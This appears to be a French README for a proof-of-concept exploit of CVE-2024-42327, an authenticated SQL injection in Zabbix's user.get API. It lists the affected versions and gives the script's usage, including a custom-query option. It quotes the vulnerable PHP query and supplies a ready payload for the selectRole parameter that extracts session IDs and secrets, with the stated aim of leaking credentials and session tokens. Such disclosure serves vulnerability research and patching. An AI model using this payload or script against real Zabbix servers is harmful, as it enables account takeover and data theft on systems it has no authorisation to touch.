
POC pour CVE-2024-42327, une injection SQL authentifiée dans Zabbix via la méthode API user.get
POC pour CVE-2024-42327, une injection SQL authentifiée dans Zabbix via la méthode API user.get. Ce POC n'est pas basé sur le temps contrairement à certains autres POC que j'ai vus.
La vulnérabilité se trouve dans le point de terminaison API user.get qui peut être exploité par un utilisateur non administrateur ayant accès à l'API, y compris les comptes avec le rôle Utilisateur par défaut.
La faille d'injection SQL se situe dans la classe CUser, dans la fonction addRelatedObjects. Cette fonction est appelée depuis la fonction CUser.get, qui est accessible aux utilisateurs ayant un accès à l'API.
Un attaquant peut injecter des commandes SQL en manipulant les appels API.
L'exploitation réussie de la vulnérabilité peut permettre à un attaquant d'obtenir un accès et un contrôle non autorisés.
- 6.0.0 – 6.0.31
- 6.4.0 – 6.4.16
- 7.0.0
Ce POC va divulguer les identifiants des utilisateurs depuis la base de données, ainsi que les jetons de session pour s'authentifier à l'API.
Il existe l'option d'exécuter une requête SQL personnalisée (--query).
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]
Accept a URL, USERNAME, PASSWORD, and an optional custom SQL query.
options:
-h, --help show this help message and exit
-u URL, --url URL The URL to Zabbix (please include the path - http://example.com/zabbix/)
-U USERNAME, --username USERNAME
The username to authenticate with
-P PASSWORD, --password PASSWORD
The password to authenticate with
--query QUERY An optional custom SQL query to run through the SQL Injection
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password
En examinant le code sur https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php dans la fonction addRelatedObjects, on trouve facilement la requête SQL vulnérable (lignes 3046 - 3051)
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
Il est immédiatement évident que les valeurs incluses dans $options['selectRole'] sont passées dans la requête SQL.
Un bloc JSON typique pour atteindre cette partie du code ressemble à ceci :
{
"jsonrpc": "2.0",
"auth": "AUTH_TOKEN_HERE",
"id": 1,
"method": "user.get",
"params": {
"output": [
"userid",
"username"
],
"selectRole": [
"type",
"roleid",
"name",
"readonly"
]
}
}
Nous pouvons façonner les valeurs de "selectRole" pour permettre une injection SQL
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]
L'injection ci-dessus rend la requête SQL quelque chose comme ci-dessous :
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)